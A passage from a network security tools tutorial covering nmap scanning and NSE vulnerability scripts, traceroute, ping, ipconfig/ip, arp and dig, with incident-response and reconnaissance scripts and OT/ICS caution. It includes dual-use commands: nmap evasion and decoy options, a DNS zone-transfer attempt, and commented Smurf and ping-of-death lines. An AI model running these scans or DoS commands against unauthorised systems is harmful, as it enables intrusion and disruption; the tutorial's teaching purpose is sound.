# Closed: receives ICMP port unreachable
# Filtered: no response (or ICMP admin prohibited)
# Open|Filtered: no response (could be open or filtered — can't tell)
# SLOW: waiting for ICMP responses + rate limiting

# Port specification:
nmap -sS 192.168.1.100 -p 80         # Single port
nmap -sS 192.168.1.100 -p 80,443,22  # Multiple ports
nmap -sS 192.168.1.100 -p 1-1024     # Port range
nmap -sS 192.168.1.100 -p-           # All 65535 ports
nmap -sS 192.168.1.100 -p U:53,T:22  # UDP 53 and TCP 22

# Top ports scan (common ports first):
nmap -sS 192.168.1.100 --top-ports 100    # Scan 100 most common ports
nmap -sS 192.168.1.100 --top-ports 1000   # Top 1000 (faster than -p-)

# Fast scan:
nmap -sS -F 192.168.1.100             # -F = fast (top 100 ports only)

# Version detection:
nmap -sV 192.168.1.100                # Detect service versions
nmap -sV --version-intensity 5        # Intensity 0-9 (0=light, 9=all probes)
nmap -sV --version-all                # Maximum version probing

# OS detection:
sudo nmap -O 192.168.1.100            # OS fingerprinting
sudo nmap -O --osscan-guess           # Guess even if not certain

# Aggressive scan (combines -sV -O -sC --traceroute):
sudo nmap -A 192.168.1.100            # Aggressive — comprehensive but noisy

5.4 Nmap Scripting Engine (NSE)

NSE is one of Nmap's most powerful features — scripts that perform automated detection, exploitation, and information gathering.

# Default scripts (safe, commonly useful):
sudo nmap -sC 192.168.1.100          # Run default scripts
# Equivalent to: --script=default

# Specific script:
sudo nmap --script smb-vuln-ms17-010 -p 445 192.168.1.100   # Check EternalBlue
sudo nmap --script http-title -p 80,443 192.168.1.0/24      # Get web page titles

# Script categories:
# auth: authentication bypass/brute force
# broadcast: network discovery via broadcast
# brute: brute force authentication
# default: safe, common scripts (run with -sC)
# discovery: enumerate network info
# dos: denial of service
# exploit: exploitation scripts (use carefully)
# external: queries external services
# fuzzer: send fuzzing data
# intrusive: may crash target systems
# malware: detect malware
# safe: won't cause harm
# version: version detection
# vuln: check for known vulnerabilities

# Vulnerability scanning scripts:
sudo nmap --script vuln 192.168.1.100     # All vulnerability scripts
sudo nmap --script vuln -p 445 192.168.1.0/24  # SMB vulns on network

# Critical vulnerability scripts:
sudo nmap --script smb-vuln-ms17-010 -p 445 192.168.1.0/24   # EternalBlue
sudo nmap --script rdp-vuln-ms12-020 -p 3389 192.168.1.100   # RDP vuln
sudo nmap --script ssl-heartbleed -p 443 192.168.1.100        # Heartbleed
sudo nmap --script ssl-poodle -p 443 192.168.1.100            # POODLE
sudo nmap --script http-shellshock -p 80,443 192.168.1.100    # Shellshock
sudo nmap --script smb-security-mode -p 445 192.168.1.0/24   # SMB signing
sudo nmap --script snmp-brute -p 161 192.168.1.0/24          # SNMP communities
sudo nmap --script ftp-anon -p 21 192.168.1.0/24             # Anonymous FTP

# Information gathering scripts:
sudo nmap --script dns-brute --script-args dns-brute.domain=target.com  # Subdomain enum
sudo nmap --script ldap-search -p 389 192.168.1.10           # LDAP enumeration
sudo nmap --script smb-enum-shares -p 445 192.168.1.100      # SMB shares
sudo nmap --script smb-enum-users -p 445 192.168.1.100       # SMB user enum
sudo nmap --script http-enum -p 80,443 192.168.1.100         # Web paths
sudo nmap --script banner -p 21,22,25,80 192.168.1.100       # Service banners

# ICS/OT scripts:
sudo nmap --script modbus-discover -p 502 192.168.1.0/24     # Modbus devices
sudo nmap --script s7-info -p 102 192.168.1.0/24             # Siemens S7 PLCs
sudo nmap --script dnp3-info -p 20000 192.168.1.0/24         # DNP3 devices
sudo nmap --script bacnet-info -p 47808 192.168.1.0/24       # BACnet devices
sudo nmap --script enip-info -p 44818 192.168.1.0/24         # EtherNet/IP

5.5 Nmap Output Formats

# Output formats:
sudo nmap -sS -oN output.txt 192.168.1.0/24      # Normal (human readable)
sudo nmap -sS -oX output.xml 192.168.1.0/24      # XML (machine readable, Metasploit import)
sudo nmap -sS -oG output.gnmap 192.168.1.0/24    # Grepable format
sudo nmap -sS -oA output 192.168.1.0/24          # All formats (.nmap, .xml, .gnmap)
sudo nmap -sS -oJ output.json 192.168.1.0/24     # JSON (with -oX then convert)

# Grep from grepable output:
grep "80/open" output.gnmap | awk '{print $2}'   # IPs with port 80 open
grep "Ports:" output.gnmap | cut -d' ' -f2-      # Extract port lists

# Parse XML with Python:
python3 << 'EOF'
import xml.etree.ElementTree as ET

tree = ET.parse('output.xml')
root = tree.getroot()

for host in root.findall('host'):
    status = host.find('status').get('state')
    if status == 'up':
        addr = host.find('address').get('addr')
        print(f"\nHost: {addr}")

        ports = host.find('ports')
        if ports:
            for port in ports.findall('port'):
                if port.find('state').get('state') == 'open':
                    portid = port.get('portid')
                    service = port.find('service')
                    svc = service.get('name', 'unknown') if service is not None else 'unknown'
                    version = service.get('product', '') if service is not None else ''
                    print(f"  {portid}/tcp  {svc}  {version}")
EOF

5.6 Nmap for Security Assessments — Practical Workflows

# Phase 1: Discovery
sudo nmap -sn 192.168.1.0/24 -oA phase1_discovery
# Identify live hosts first

# Phase 2: Port scan of live hosts
grep "Up" phase1_discovery.gnmap | awk '{print $2}' > live_hosts.txt
sudo nmap -sS -p- --open -T4 -iL live_hosts.txt -oA phase2_ports
# -iL: read hosts from file
# --open: only show open ports (reduce output)
# -p-: all 65535 ports
# -T4: aggressive timing

# Phase 3: Version detection on open ports
grep "open" phase2_ports.gnmap | awk '{print $2}' | sort -u > hosts_with_ports.txt
sudo nmap -sV -sC -iL hosts_with_ports.txt -oA phase3_versions

# Phase 4: Vulnerability assessment
sudo nmap --script vuln -iL hosts_with_ports.txt -oA phase4_vulns

# Combine phases for efficiency:
sudo nmap -sS -sV -sC --script vuln \
    -p- --open \
    -T4 \
    -iL live_hosts.txt \
    -oA comprehensive_scan

# Evasion techniques:
sudo nmap -sS -T1 192.168.1.100              # Paranoid timing (very slow)
sudo nmap -sS --scan-delay 1s 192.168.1.100  # 1 second between probes
sudo nmap -sS -f 192.168.1.100               # Fragment packets (8-byte fragments)
sudo nmap -sS -D RND:10 192.168.1.100        # Decoy scan (10 random decoys)
sudo nmap -sS --source-port 53 192.168.1.100 # Spoof source port (bypass some firewalls)
sudo nmap -sS --data-length 25 192.168.1.100 # Add random data to packets

5.7 Nmap in OT/ICS Environments — Critical Warnings

WARNING: Nmap in OT/ICS environments requires extreme caution.

Industrial devices differ from IT devices in their response to scanning:

1. PLCs (Programmable Logic Controllers):
   May CRASH or RESTART when receiving unexpected packets
   A PLC restart in a manufacturing environment = production stop
   A PLC restart during a chemical process = potential safety incident

2. RTUs (Remote Terminal Units):
   Some legacy RTUs have limited TCP stack resources
   Port scan may exhaust connection table → device stops responding

3. Network Switches (industrial grade):
   Some Hirschmann, Moxa switches have bugs triggered by SYN scans
   May cause port to err-disable or switch to restart

4. Safety Systems:
   Safety PLCs (SIS — Safety Instrumented Systems) are the most critical
   ANY unexpected interaction with a SIS can trigger a demand
   A spurious demand on safety system = unplanned process shutdown or worse
   NEVER scan safety systems without explicit written vendor approval

Safe alternatives for OT asset discovery:
  1. Passive monitoring (tcpdump/Wireshark — no traffic injection)
  2. ARP scan only (Layer 2, generally safe): nmap -sn -PR 192.168.1.0/24
  3. ICMP ping only (usually safe): nmap -sn -PE 192.168.1.0/24
  4. SNMP queries to known management IPs (pre-approved)
  5. Review existing asset inventory documentation
  6. Query SCADA/HMI system for known device list

If active scanning is required:
  - Get written approval from operations/safety team
  - Schedule during planned maintenance window
  - Have operations team monitor process for abnormal behaviour
  - Have rollback plan ready
  - Start with single host, verify it doesn't cause issues
  - Use slow timing (-T1 or custom delays)
  - Never use -A, -sV, or NSE scripts on unknown OT devices

Key Insight: Nmap's NSE scripting makes it not just a scanner but a vulnerability assessment platform. The smb-vuln-ms17-010 script checks for EternalBlue with one command; modbus-discover identifies Modbus devices and queries their status. In OT environments, however, Nmap requires discipline — the wrong scan against the wrong device can stop production or create safety hazards. Passive tools first, active tools only with explicit approval.

6. Traceroute and Tracert — Path Discovery

6.1 How Traceroute Works

Traceroute reveals the path that packets take from source to destination by exploiting TTL (Time to Live) expiration.

Traceroute Mechanism:

Packet 1: TTL=1
  Source → [Router 1] → TTL decrements to 0 → Router 1 discards packet
  Router 1 sends back: ICMP Time Exceeded (Type 11, Code 0)
  Source records: Router 1's IP, round-trip time

Packet 2: TTL=2
  Source → [Router 1] → TTL=1 → [Router 2] → TTL=0 → Router 2 discards
  Router 2 sends back: ICMP Time Exceeded
  Source records: Router 2's IP, RTT

Packet 3: TTL=3
  Source → Router 1 → Router 2 → [Router 3] → TTL=0 → Time Exceeded
  ...continues until destination reached

Final Packet: TTL = number of hops
  Destination receives packet → responds normally
  Linux: ICMP Port Unreachable (UDP probe to unlikely port)
  Windows: ICMP Echo Reply

Each hop shows:
  * = no response (firewall drops ICMP, timeout)
  IP address = router's interface address
  RTT (3 measurements) = latency at that hop

6.2 Traceroute Variants

# Linux traceroute (uses UDP by default):
traceroute google.com
traceroute -n google.com              # -n: numeric, no DNS resolution
traceroute -T google.com              # TCP SYN (bypasses firewalls blocking UDP/ICMP)
traceroute -T -p 80 google.com        # TCP SYN to port 80
traceroute -I google.com              # ICMP echo (like Windows tracert)
traceroute -q 1 google.com            # -q 1: one probe per hop (faster)
traceroute -w 2 google.com            # -w 2: 2 second timeout per probe
traceroute -m 30 google.com           # -m 30: max 30 hops
traceroute -s 192.168.1.5 google.com  # -s: source IP to use
traceroute --back google.com          # Show asymmetric return path

# Windows tracert:
tracert google.com
tracert -d google.com                 # -d: no DNS resolution
tracert -h 30 google.com              # -h: max hops
tracert -w 3000 google.com            # -w: timeout in milliseconds

# mtr (My TraceRoute) — combines ping + traceroute, real-time:
mtr google.com                        # Interactive real-time view
mtr --report google.com               # Generate report
mtr --report-cycles 10 google.com     # 10 cycles then report
mtr --no-dns google.com               # No DNS resolution

# TCP traceroute variants:
tcptraceroute 192.168.1.1 22          # TCP traceroute to SSH port
hping3 --traceroute -V -S -p 80 192.168.1.1  # hping3 TCP SYN traceroute

6.3 Security Analysis with Traceroute

# Trace to identify network topology:
traceroute -n 192.168.1.100
# Reveals: number of hops, intermediate router IPs, asymmetric paths
# Security use: map network architecture without access to topology docs

# Identify firewall locations:
traceroute -n 8.8.8.8
# Where hops stop responding (*** ***) = likely firewall
# Where latency jumps significantly = network boundary

# Detect MPLS networks (ISP infrastructure):
traceroute -n 8.8.8.8
# MPLS hops may show 0ms or very low latency (hardware switching)

# Firewall type detection from traceroute responses:
# * * * at specific hop: ICMP blocked (stateless filter or DROP policy)
# !X: network unreachable (routing problem)
# !H: host unreachable
# !P: protocol unreachable
# !F: fragmentation needed
# !A: administratively prohibited (ACL REJECT rule)

# Asymmetric routing detection:
traceroute -n targetIP          # Outbound path
# Then have target traceroute back to you
# Different paths = asymmetric routing (security monitoring implications)

# Use traceroute to bypass firewalls:
traceroute -T -p 80 blocked_host.com    # TCP SYN to port 80
# If HTTP (port 80) is allowed through firewall but ICMP/UDP is not:
# TCP traceroute succeeds where normal traceroute fails
# Useful for: determining where filtering occurs, identifying firewall position

# Network change detection (baseline and compare):
traceroute -n 8.8.8.8 | tee /tmp/baseline_$(date +%Y%m%d).txt
# Compare over time: different path = routing change (possibly malicious)
# BGP hijack: traffic suddenly going through unexpected ASes

Traceroute and Security Monitoring:

# Detect traceroute probes against your network (defensive):
# In Wireshark: filter for TTL-limited packets:
# ip.ttl <= 3 and not (ip.src == your_IP)

# In tcpdump:
sudo tcpdump -i eth0 'ip[8] < 5'     # IP TTL < 5 (traceroute probes)
sudo tcpdump -i eth0 -n 'udp and ip[8] < 5'  # UDP traceroute probes

# In iptables (log traceroute probes):
sudo iptables -A INPUT -m ttl --ttl-lt 5 -j LOG --log-prefix "TRACEROUTE: "

# Detect hping3 traceroute (TCP SYN with low TTL):
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0 and ip[8] < 10'

Key Insight: Traceroute is the network equivalent of a map — it shows where your traffic goes and how it gets there. During incident response, traceroute to C2 IP addresses reveals ISP infrastructure and geographic routing, which supports attribution. Changes in traceroute paths over time can indicate BGP hijacking. In OT environments, traceroute confirms whether traffic is properly segmented — if a traceroute from an untrusted zone reaches an OT device with fewer hops than expected, segmentation may be compromised.

7. Ping — The Fundamental Connectivity Test

7.1 Ping Mechanics

Ping sends ICMP Echo Request packets and waits for ICMP Echo Reply. It measures:

Whether a host is reachable
Round-trip time (RTT)
Packet loss percentage

ICMP Echo Request/Reply:
  Type 8, Code 0: Echo Request (ping sent)
  Type 0, Code 0: Echo Reply (pong received)

Packet structure:
  [IP Header][ICMP Header][Identifier][Sequence Number][Data]
  Identifier: identifies the ping process (useful for multi-process analysis)
  Sequence Number: increments per packet (detects packet loss/reordering)
  Data: typically a timestamp + padding

7.2 Ping Commands

# Linux ping:
ping 192.168.1.1                     # Ping until Ctrl+C
ping -c 4 192.168.1.1                # -c 4: send 4 packets
ping -c 1 -W 1 192.168.1.1          # -W 1: 1 second timeout (quick test)
ping -i 0.2 192.168.1.1             # -i 0.2: send every 0.2 seconds (fast)
ping -s 1400 192.168.1.1            # -s 1400: packet size 1400 bytes
ping -f 192.168.1.1                 # -f: flood ping (root only — sends as fast as possible)
ping -t 64 192.168.1.1              # -t 64: set TTL to 64
ping -q 192.168.1.1                 # -q: quiet (only summary)
ping -b 192.168.1.255               # -b: broadcast ping (finds all hosts on subnet)

# ping6 (IPv6):
ping6 ::1                           # Ping IPv6 loopback
ping6 -I eth0 fe80::1               # Ping link-local (must specify interface)

# Windows ping:
ping 192.168.1.1                    # 4 packets by default
ping -t 192.168.1.1                 # Ping continuously
ping -n 10 192.168.1.1              # -n 10: 10 packets
ping -l 1000 192.168.1.1            # -l 1000: 1000 byte packets
ping -i 5 192.168.1.1               # -i 5: TTL = 5
ping -w 3000 192.168.1.1            # -w 3000: 3 second timeout

# Network sweep with ping (quick host discovery):
for i in $(seq 1 254); do
    ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "192.168.1.$i is alive"
done
# Slow — runs sequentially

# Parallel ping sweep (faster):
for i in $(seq 1 254); do
    (ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "192.168.1.$i alive") &
done
wait

# fping (faster, parallel by design):
fping -a -g 192.168.1.0/24 2>/dev/null  # -a: show alive, -g: generate range
fping -A -g 192.168.1.0/24              # -A: show addresses of alive hosts

# MTU discovery using ping:
ping -M do -s 1472 192.168.1.1     # -M do: don't fragment, -s 1472 (+28 headers = 1500 MTU)
# If MTU is smaller: "Frag needed and DF set"
# Binary search for MTU: test 1472, 1000, 1300, 1400, 1450...

7.3 Ping for Security Analysis

# Detect if ICMP is blocked by firewall:
ping -c 1 target_ip
# No response: either host down OR ICMP blocked by firewall
# Use TCP scan to disambiguate:
nmap -sT -p 80,443 -Pn target_ip    # -Pn: skip ping, assume host is up

# Detect ICMP rate limiting:
ping -f -c 1000 192.168.1.1         # Flood ping (root required)
# Rate: loss% indicates rate limiting or capacity issues
# Security: can be used to stress test, also detects DoS-resistant configs

# Identify OS via TTL (passive fingerprinting):
ping -c 1 target_ip | grep "ttl="
# ttl=64: Linux/Unix
# ttl=128: Windows
# ttl=255: Cisco/network devices
# Note: each hop decrements TTL by 1, so adjust for distance

# Covert channel detection (ICMP payload analysis):
sudo tcpdump -i eth0 icmp -A | grep -v "^--$\|bytes"
# Large or unusual ICMP payloads = potential covert channel
# Normal ping: 32 bytes (Windows) or 56 bytes (Linux) of data
# Suspicious: 1400+ bytes, non-standard patterns, encrypted-looking content

# Detect ping sweep against your network:
sudo tcpdump -i eth0 'icmp and icmp[icmptype] = icmp-echo' -n | \
    awk '{print $3}' | cut -d. -f1-4 | \
    sort | uniq -c | sort -rn | head
# High count from single source = ping sweep (reconnaissance)

# ICMP timestamp requests (OS fingerprinting):
hping3 --icmp --icmp-ts 192.168.1.1    # ICMP timestamp request
# Response reveals system time (useful for timezone identification)

Ping of Death and ICMP-based Attacks:

# Ping of Death (historical — modern OSes patched):
# Large ICMP fragments caused buffer overflow in old OSes
# ping -s 65500 target  # Would crash old Windows/Unix kernels
# Modern relevance: some embedded OT devices may still be vulnerable

# Smurf Attack (broadcast ping with spoofed source):
# Concept: ping broadcast address with victim's IP as source
# All hosts reply to victim → amplified DoS
# hping3 --icmp -a VICTIM_IP BROADCAST_ADDRESS  (do NOT run this)
# Defence: disable broadcast ping response:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts

# ICMP redirect attack detection:
sudo tcpdump -i eth0 'icmp[icmptype] = icmp-redirect'
# Should almost never see ICMP redirects on secure network
# ICMP redirect from unexpected host = possible routing attack

# Block ICMP redirects:
sysctl -w net.ipv4.conf.all.accept_redirects=0
sysctl -w net.ipv4.conf.all.secure_redirects=0

Key Insight: Ping is deceptively simple but encodes OS type (TTL), network topology (RTT changes), and reachability in every response. No response to ping doesn't mean the host is down — firewalls commonly block ICMP while allowing TCP. In OT environments, ping is the safest active tool to use — a single ICMP Echo Request is unlikely to destabilise most field devices. But even here, caution is warranted with very old RTUs and PLCs.

8. ipconfig and ifconfig — Interface Configuration

8.1 Windows ipconfig

ipconfig is the primary Windows command for viewing and managing IP configuration.

# Basic commands:
ipconfig                    # Summary: IP, mask, gateway per interface
ipconfig /all               # Full details: MAC, DHCP, DNS, lease times
ipconfig /release           # Release DHCP lease (lose IP)
ipconfig /renew             # Renew DHCP lease (get new IP)
ipconfig /flushdns          # Clear DNS resolver cache
ipconfig /displaydns        # Show DNS resolver cache contents
ipconfig /registerdns       # Re-register DNS (forces DNS update)
ipconfig /showclassid *     # Show DHCP class IDs

# Security-relevant output from ipconfig /all:
# Physical Address (MAC): identifies device manufacturer, useful for inventory
# DHCP Enabled: Yes/No — is this statically or dynamically assigned?
# DHCP Server: which server assigned this IP (for forensic timeline)
# Lease Obtained: when was the IP assigned (forensic timestamp)
# Lease Expires: when will it expire
# Default Gateway: routing path — is this the expected gateway?
# DNS Servers: which servers resolve names — rogue DNS = suspicious
# DNS Suffix Search List: reveals domain membership

ipconfig for Security Analysis:

# Check for rogue gateway/DNS (MITM indicator):
ipconfig /all | findstr /i "gateway\|dns server"
# Expected: corporate gateway and DNS IPs
# Unexpected: different IPs = possible DHCP poisoning or MITM

# Find all network interfaces (VPN, virtual adapters):
ipconfig /all | findstr /i "adapter\|IPv4\|physical"
# VPN adapters may have routes that bypass monitoring
# Unexpected adapters = possible rogue software

# DNS cache analysis (what has this machine been looking up?):
ipconfig /displaydns
# Shows: all recently resolved domains
# Forensic value: what sites has this machine visited?
# Suspicious entries: C2 domains, unusual TLDs, encoded domain names

# Clear evidence (attacker's move):
ipconfig /flushdns           # Clear DNS cache evidence
# Detection: if DNS cache is empty on an active machine = suspicious

8.2 Linux ifconfig and ip

ifconfig is legacy. ip is the modern replacement. Know both.

# Legacy ifconfig:
ifconfig                         # All interfaces
ifconfig eth0                    # Specific interface
ifconfig eth0 up                 # Bring interface up
ifconfig eth0 down               # Bring interface down
ifconfig eth0 192.168.1.100/24   # Set IP address
ifconfig eth0 promisc            # Enable promiscuous mode (packet capture)
ifconfig eth0 -promisc           # Disable promiscuous mode

# Modern ip command:
ip addr                          # Show all interfaces and IPs
ip addr show eth0                # Specific interface
ip link show                     # Link layer info (MAC, state)
ip route show                    # Routing table
ip route get 8.8.8.8             # What route would be used for this destination?
ip neigh show                    # ARP cache
ip -s link                       # Interface statistics
ip -6 addr                       # IPv6 addresses

# Adding/removing configuration:
sudo ip addr add 192.168.1.100/24 dev eth0    # Add IP
sudo ip addr del 192.168.1.100/24 dev eth0   # Remove IP
sudo ip link set eth0 up                       # Bring up interface
sudo ip link set eth0 down                     # Bring down interface
sudo ip link set eth0 address AA:BB:CC:DD:EE:FF  # Change MAC address
sudo ip route add default via 192.168.1.1       # Add default route
sudo ip route del default                        # Remove default route

# Security-relevant interface operations:
sudo ip link set eth0 promisc on     # Enable promiscuous mode
ip link show eth0 | grep -i promisc  # Check if promiscuous mode is on
# Promiscuous mode: someone is running packet capture on this interface
# Unexpected promisc = potential malicious sniffing

# Find all network interfaces (including hidden/virtual):
ip link show
# Look for: unexpected tap/tun interfaces (VPN/tunnels), br- (bridges)
# br-* = Docker bridge (container networking)
# tun0 = OpenVPN/WireGuard tunnel
# virbr* = libvirt/QEMU virtual bridge

# Check for multiple default routes (split tunnelling indicator):
ip route show | grep "default"
# Multiple default routes: possible VPN split tunnelling
# Security: traffic may not all go through monitoring infrastructure

8.3 Network Configuration for Security

# Full network configuration audit script:
cat > /tmp/network_config_audit.sh << 'EOF'
#!/bin/bash
echo "===== NETWORK CONFIGURATION AUDIT ====="
echo "Timestamp: $(date)"
echo ""

echo "--- All Interfaces ---"
ip addr show | grep -E "^[0-9]|inet "
echo ""

echo "--- MAC Addresses ---"
ip link show | grep "link/ether"
echo ""

echo "--- Routing Table ---"
ip route show
echo ""

echo "--- ARP Cache ---"
ip neigh show
echo ""

echo "--- DNS Configuration ---"
cat /etc/resolv.conf
echo ""

echo "--- Listening Services ---"
ss -tulnp 2>/dev/null | head -30
echo ""

echo "--- Promiscuous Interfaces ---"
ip link show | grep -i promisc
echo ""

echo "--- Active VPN/Tunnel Interfaces ---"
ip link show | grep -E "tun|tap|vpn|wg|ovpn"
echo ""

echo "--- Unusual Routes ---"
ip route show | grep -v "^default\|169.254\|fe80"
echo ""

echo "===== AUDIT COMPLETE ====="
EOF
chmod +x /tmp/network_config_audit.sh
bash /tmp/network_config_audit.sh

Key Insight: ipconfig/ifconfig is the starting point for every network investigation — it establishes your current position on the network. In incident response, unexpected configurations reveal MITM attacks (wrong gateway), DNS hijacking (wrong DNS servers), and covert channels (unexpected VPN adapters or promiscuous interfaces). In OT assessments, collecting interface configuration from all devices builds the network topology without active scanning.

9. Additional Critical Tools

9.1 arp — ARP Table Management

# View ARP cache:
arp -a                              # All entries (Linux/Windows)
ip neigh show                       # Modern Linux equivalent

# Static ARP entries (prevent ARP spoofing of critical hosts):
sudo arp -s 192.168.1.1 AA:BB:CC:DD:EE:FF    # Add static entry (Linux)
sudo arp -d 192.168.1.1                       # Delete entry

# Windows:
arp -a                              # View all
netsh interface ip add neighbors "Local Area Connection" 192.168.1.1 AA-BB-CC-DD-EE-FF
# Add static ARP for gateway

# Detect ARP spoofing:
watch -n 1 arp -a                   # Monitor ARP table changes
# If gateway IP shows different MAC = ARP spoofing in progress

9.2 dig and nslookup — DNS Interrogation

# dig (Domain Information Groper) — primary DNS tool:
dig example.com                     # A record (default)
dig example.com A                   # Explicit A record
dig example.com AAAA                # IPv6 address
dig example.com MX                  # Mail exchange
dig example.com TXT                 # Text records (SPF, DKIM, etc.)
dig example.com NS                  # Name servers
dig example.com SOA                 # Start of Authority
dig -x 8.8.8.8                     # Reverse lookup (PTR)
dig @8.8.8.8 example.com           # Use specific DNS server
dig +short example.com              # Just the answer (IP only)
dig +trace example.com              # Full resolution trace (root → TLD → auth)
dig +nocmd +noall +answer example.com  # Clean output

# Security uses:
dig TXT _dmarc.example.com          # DMARC policy
dig TXT example.com | grep spf      # SPF record
dig AXFR @ns1.example.com example.com  # Zone transfer attempt
dig example.com ANY                 # All record types

# Detect DNS changes:
OLD_IP=$(dig +short example.com)
sleep 3600
NEW_IP=$(dig +short example.com)
[ "$OLD_IP" != "$NEW_IP" ] && echo "DNS CHANGED: $OLD_IP → $NEW_IP"

# nslookup:
nslookup example.com                # Basic lookup
nslookup example.com 8.8.8.8       # Use specific server
nslookup -type=MX example.com      # MX records
nslookup -type=any example.com     # All types (Windows compatible)

9.3 route — Routing Table Management

# View routing table:
route -n                            # Linux (legacy, numeric)
ip route show                       # Linux (modern)
netstat -rn                         # Cross-platform
route print                         # Windows

# Security implications of routing table:
ip route show
# default via 192.168.1.1 dev eth0  ← Default gateway — check this is expected
# 10.0.0.0/8 via 10.10.0.1         ← Route to internal network (VPN route)
# 192.168.2.0/24 dev eth1           ← Directly connected network

# Check for suspicious routes:
ip route show | grep -v "^default\|^192.168\|^10\.\|^172\."
# Unexpected routes to external IPs = possible MITM or routing attack

# Add/remove routes:
sudo ip route add 10.20.0.0/24 via 192.168.1.254  # Add route
sudo ip route del 10.20.0.0/24                      # Remove route

# Windows:
route add 10.20.0.0 mask 255.255.255.0 192.168.1.254  # Add route
route delete 10.20.0.0                                  # Remove route

10. Tool Integration — Building Investigation Workflows

10.1 Incident Response Workflow

#!/bin/bash
# Comprehensive network evidence collection for incident response

TIMESTAMP=$(date +%Y%m%d_%H%M%S)
EVIDENCE_DIR="/tmp/ir_evidence_$TIMESTAMP"
mkdir -p "$EVIDENCE_DIR"

echo "Collecting network evidence to $EVIDENCE_DIR"

# 1. Current connections:
echo "=== Collecting connection state ==="
ss -tnp > "$EVIDENCE_DIR/connections_tcp.txt"
ss -unp > "$EVIDENCE_DIR/connections_udp.txt"
ss -tlnp > "$EVIDENCE_DIR/listening_services.txt"

# 2. Network configuration:
echo "=== Collecting interface config ==="
ip addr show > "$EVIDENCE_DIR/interfaces.txt"
ip route show > "$EVIDENCE_DIR/routing.txt"
ip neigh show > "$EVIDENCE_DIR/arp_cache.txt"
cat /etc/resolv.conf > "$EVIDENCE_DIR/dns_config.txt"

# 3. Active processes with network connections:
echo "=== Correlating processes to connections ==="
ss -tnp | awk 'NR>1 && /ESTABLISHED/{print $5, $6}' | sort > "$EVIDENCE_DIR/established_with_process.txt"

# 4. Start packet capture:
echo "=== Starting packet capture (60 seconds) ==="
timeout 60 tcpdump -i any -w "$EVIDENCE_DIR/traffic.pcap" -s 0 2>/dev/null &
TCPDUMP_PID=$!

# 5. DNS cache (if applicable):
echo "=== Collecting DNS cache ==="
if command -v resolvectl &>/dev/null; then
    resolvectl statistics > "$EVIDENCE_DIR/dns_stats.txt"
fi

# 6. Check for suspicious listening ports:
echo "=== Checking for unexpected listeners ==="
ss -tlnp | awk 'NR>1 {print $4, $6}' | while read addr proc; do
    port=$(echo $addr | cut -d: -f2)
    # Flag non-standard ports that are listening
    if [[ $port -gt 1024 ]] && [[ $port -ne 3306 ]] && [[ $port -ne 5432 ]]; then
        echo "Non-standard listener: $addr ($proc)" >> "$EVIDENCE_DIR/suspicious_listeners.txt"
    fi
done

wait $TCPDUMP_PID 2>/dev/null

echo "Evidence collection complete: $EVIDENCE_DIR"
ls -la "$EVIDENCE_DIR"

10.2 Network Reconnaissance Workflow (Penetration Testing)

#!/bin/bash
# Structured network reconnaissance for authorised penetration testing

TARGET_NETWORK=${1:-"192.168.1.0/24"}
OUTPUT_DIR="./recon_$(date +%Y%m%d)"
mkdir -p "$OUTPUT_DIR"

echo "=== Phase 1: Host Discovery ==="
sudo nmap -sn "$TARGET_NETWORK" -oG "$OUTPUT_DIR/phase1_hosts.gnmap" 2>/dev/null
LIVE_HOSTS=$(grep "Status: Up" "$OUTPUT_DIR/phase1_hosts.gnmap" | awk '{print $2}' | tee "$OUTPUT_DIR/live_hosts.txt")
echo "Found $(wc -l < "$OUTPUT_DIR/live_hosts.txt") live hosts"

echo "=== Phase 2: Port Scan ==="
sudo nmap -sS --top-ports 1000 --open \
    -iL "$OUTPUT_DIR/live_hosts.txt" \
    -oA "$OUTPUT_DIR/phase2_ports" 2>/dev/null
echo "Port scan complete"

echo "=== Phase 3: Service Detection ==="
sudo nmap -sV -sC \
    -iL "$OUTPUT_DIR/live_hosts.txt" \
    -oA "$OUTPUT_DIR/phase3_services" 2>/dev/null

echo "=== Phase 4: Quick Vulnerability Check ==="
sudo nmap --script "vuln and not intrusive" \
    -iL "$OUTPUT_DIR/live_hosts.txt" \
    -oA "$OUTPUT_DIR/phase4_vulns" 2>/dev/null

echo "=== Summary ==="
echo "Live hosts: $(wc -l < "$OUTPUT_DIR/live_hosts.txt")"
echo "Hosts with web services:"
grep "80/open\|443/open\|8080/open" "$OUTPUT_DIR/phase2_ports.gnmap" | wc -l
echo "Hosts with SMB:"
grep "445/open" "$OUTPUT_DIR/phase2_ports.gnmap" | wc -l
echo "Hosts with RDP:"
grep "3389/open" "$OUTPUT_DIR/phase2_ports.gnmap" | wc -l
echo ""
echo "Results saved to $OUTPUT_DIR"

10.3 Traffic Analysis Workflow

# Automated traffic analysis for SOC/threat hunting:

# Capture traffic:
sudo tcpdump -i eth0 -w /tmp/analysis.pcap -s 0 \
    'not (host 192.168.1.1 and port 22)' &  # Exclude your SSH session
sleep 300    # Capture 5 minutes
kill %1

# Analysis pipeline:
tshark -r /tmp/analysis.pcap -q -z conv,tcp | head -30   # Top TCP conversations
tshark -r /tmp/analysis.pcap -q -z io,phs                 # Protocol hierarchy
tshark -r /tmp/analysis.pcap -Y "dns.flags.response == 0" \
    -T fields -e dns.qry.name | sort | uniq -c | sort -rn | head -20  # Top DNS queries

# Find potential beaconing (regular-interval connections):
tshark -r /tmp/analysis.pcap -T fields \
    -e frame.time_epoch -e ip.dst -e tcp.dstport \
    -Y "tcp.flags.syn == 1 and tcp.flags.ack == 0" | \
    awk '{print $2":"$3}' | sort | uniq -c | sort -rn | head -20
# High count to same IP:port = possible beacon

# Find large data transfers:
tshark -r /tmp/analysis.pcap -q -z endpoints,ip | \
    awk 'NR>4 {print $3, $1}' | sort -rn | head -20
# Large bytes_sent from internal IP to external = possible exfiltration

11. Network Analysis in OT/ICS Environments

11.1 Passive vs Active Analysis in OT

The cardinal rule of network analysis in OT environments: passive first, active only with explicit approval.

Passive Analysis Tools (safe for OT):
  Wireshark/tcpdump: listen-only, no traffic injection
  - Connect via SPAN/mirror port on managed switch
  - Use network TAP (hardware device) for full-duplex capture
  - Analyse traffic generated by existing devices — no new traffic created

  Netstat/ss: local host analysis
  - Run on engineering workstations, HMI servers
  - No network traffic generated — purely local

  ipconfig/ifconfig/ip: interface configuration
  - Local host only — no network impact

Active Analysis Tools (require approval in OT):
  Ping: low risk (usually), but must be approved
  - Some legacy RTUs crash on unexpected ICMP
  - Always check with vendor before pinging OT devices

